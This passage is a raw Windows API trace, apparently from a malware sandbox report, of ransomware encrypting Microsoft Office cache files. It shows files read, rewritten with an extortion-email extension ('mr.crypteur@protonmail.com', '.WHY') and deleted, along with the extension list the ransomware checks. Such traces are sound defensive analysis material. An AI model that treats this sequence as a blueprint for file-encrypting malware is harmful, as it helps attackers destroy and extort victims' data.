[0062.114] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.114] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.115] SetEndOfFile (hFile=0x1d8) returned 1 [0062.115] CloseHandle (hObject=0x1d8) returned 1 [0062.116] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.116] SetEndOfFile (hFile=0x1d4) returned 1 [0062.119] CloseHandle (hObject=0x1d4) returned 1 [0062.119] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.120] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0062.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.121] lstrlenW (lpString=".doc") returned 4 [0062.121] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.122] lstrlenW (lpString=".docx") returned 5 [0062.122] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.122] lstrlenW (lpString=".pdf") returned 4 [0062.122] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.122] lstrlenW (lpString=".xls") returned 4 [0062.122] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.122] lstrlenW (lpString=".xlsx") returned 5 [0062.122] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.122] lstrlenW (lpString=".ppt") returned 4 [0062.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.123] lstrlenW (lpString=".zip") returned 4 [0062.123] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.123] lstrlenW (lpString=".rar") returned 4 [0062.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.123] lstrlenW (lpString=".bz2") returned 4 [0062.123] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.123] lstrlenW (lpString=".7z") returned 3 [0062.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.123] lstrlenW (lpString=".dbf") returned 4 [0062.123] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.123] lstrlenW (lpString=".1cd") returned 4 [0062.123] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.124] lstrlenW (lpString=".jpg") returned 4 [0062.124] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.124] lstrlenW (lpString=".doc") returned 4 [0062.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.124] lstrlenW (lpString=".docx") returned 5 [0062.124] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.124] lstrlenW (lpString=".pdf") returned 4 [0062.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.124] lstrlenW (lpString=".xls") returned 4 [0062.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.125] lstrlenW (lpString=".xlsx") returned 5 [0062.125] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.125] lstrlenW (lpString=".ppt") returned 4 [0062.125] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.125] lstrlenW (lpString=".zip") returned 4 [0062.125] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.125] lstrlenW (lpString=".rar") returned 4 [0062.125] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.125] lstrlenW (lpString=".bz2") returned 4 [0062.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.125] lstrlenW (lpString=".7z") returned 3 [0062.125] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.125] lstrlenW (lpString=".dbf") returned 4 [0062.126] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.126] lstrlenW (lpString=".1cd") returned 4 [0062.126] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.126] lstrlenW (lpString=".jpg") returned 4 [0062.126] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.126] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.127] lstrlenW (lpString="Setup.xml") returned 9 [0062.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0062.127] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2362) returned 1 [0062.127] CloseHandle (hObject=0x1d4) returned 1 [0062.127] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.128] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0062.128] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.128] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.129] GetLastError () returned 0x0 [0062.130] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x93a, lpOverlapped=0x0) returned 1 [0062.267] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x940, lpOverlapped=0x0) returned 1 [0062.270] ReadFile (in: hFile=0x1d4, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.270] WriteFile (in: hFile=0x1d8, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.270] SetEndOfFile (hFile=0x1d8) returned 1 [0062.271] CloseHandle (hObject=0x1d8) returned 1 [0062.272] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.272] SetEndOfFile (hFile=0x1d4) returned 1 [0062.275] CloseHandle (hObject=0x1d4) returned 1 [0062.275] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.276] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.277] lstrlenW (lpString=".doc") returned 4 [0062.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.277] lstrlenW (lpString=".docx") returned 5 [0062.277] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.277] lstrlenW (lpString=".pdf") returned 4 [0062.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.277] lstrlenW (lpString=".xls") returned 4 [0062.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.277] lstrlenW (lpString=".xlsx") returned 5 [0062.277] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.277] lstrlenW (lpString=".ppt") returned 4 [0062.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.878] lstrlenW (lpString=".zip") returned 4 [0062.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.878] lstrlenW (lpString=".rar") returned 4 [0062.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.879] lstrlenW (lpString=".bz2") returned 4 [0062.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.879] lstrlenW (lpString=".7z") returned 3 [0062.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.879] lstrlenW (lpString=".dbf") returned 4 [0062.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.879] lstrlenW (lpString=".1cd") returned 4 [0062.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.880] lstrlenW (lpString=".jpg") returned 4 [0062.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.880] lstrlenW (lpString=".doc") returned 4 [0062.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.880] lstrlenW (lpString=".docx") returned 5 [0062.880] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.881] lstrlenW (lpString=".pdf") returned 4 [0062.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.881] lstrlenW (lpString=".xls") returned 4 [0062.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.881] lstrlenW (lpString=".xlsx") returned 5 [0062.881] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.881] lstrlenW (lpString=".ppt") returned 4 [0062.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.882] lstrlenW (lpString=".zip") returned 4 [0062.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.882] lstrlenW (lpString=".rar") returned 4 [0062.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.882] lstrlenW (lpString=".bz2") returned 4 [0062.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.882] lstrlenW (lpString=".7z") returned 3 [0062.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.882] lstrlenW (lpString=".dbf") returned 4 [0062.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.883] lstrlenW (lpString=".1cd") returned 4 [0062.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.883] lstrlenW (lpString=".jpg") returned 4 [0062.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.884] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.884] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0062.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0062.887] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1606) returned 1 [0062.887] CloseHandle (hObject=0x1cc) returned 1 [0062.888] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0062.888] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0062.888] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.888] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0062.893] GetLastError () returned 0x0 [0062.893] ReadFile (in: hFile=0x1cc, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x646, lpOverlapped=0x0) returned 1 [0062.898] WriteFile (in: hFile=0x1f0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x650, lpOverlapped=0x0) returned 1 [0062.901] ReadFile (in: hFile=0x1cc, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.902] WriteFile (in: hFile=0x1f0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0062.902] SetEndOfFile (hFile=0x1f0) returned 1 [0062.902] CloseHandle (hObject=0x1f0) returned 1 [0062.906] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.906] SetEndOfFile (hFile=0x1cc) returned 1 [0062.909] CloseHandle (hObject=0x1cc) returned 1 [0063.273] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0063.273] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0063.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.495] lstrlenW (lpString=".doc") returned 4 [0063.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.495] lstrlenW (lpString=".docx") returned 5 [0063.495] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.495] lstrlenW (lpString=".pdf") returned 4 [0063.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.495] lstrlenW (lpString=".xls") returned 4 [0063.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.495] lstrlenW (lpString=".xlsx") returned 5 [0063.495] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.495] lstrlenW (lpString=".ppt") returned 4 [0063.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.496] lstrlenW (lpString=".zip") returned 4 [0063.496] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.496] lstrlenW (lpString=".rar") returned 4 [0063.496] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.496] lstrlenW (lpString=".bz2") returned 4 [0063.496] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.496] lstrlenW (lpString=".7z") returned 3 [0063.496] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.496] lstrlenW (lpString=".dbf") returned 4 [0063.496] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.496] lstrlenW (lpString=".1cd") returned 4 [0063.496] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.497] lstrlenW (lpString=".jpg") returned 4 [0063.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.497] lstrlenW (lpString=".doc") returned 4 [0063.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.497] lstrlenW (lpString=".docx") returned 5 [0063.497] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.497] lstrlenW (lpString=".pdf") returned 4 [0063.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.497] lstrlenW (lpString=".xls") returned 4 [0063.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.497] lstrlenW (lpString=".xlsx") returned 5 [0063.497] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.498] lstrlenW (lpString=".ppt") returned 4 [0063.498] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.498] lstrlenW (lpString=".zip") returned 4 [0063.498] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.498] lstrlenW (lpString=".rar") returned 4 [0063.498] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.498] lstrlenW (lpString=".bz2") returned 4 [0063.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.498] lstrlenW (lpString=".7z") returned 3 [0063.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.498] lstrlenW (lpString=".dbf") returned 4 [0063.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.499] lstrlenW (lpString=".1cd") returned 4 [0063.499] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0063.499] lstrlenW (lpString=".jpg") returned 4 [0063.499] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.499] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0063.499] lstrlenW (lpString="Setup.xml") returned 9 [0063.500] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.500] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1872) returned 1 [0063.500] CloseHandle (hObject=0x1a0) returned 1 [0063.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0063.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0063.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0063.501] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.501] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 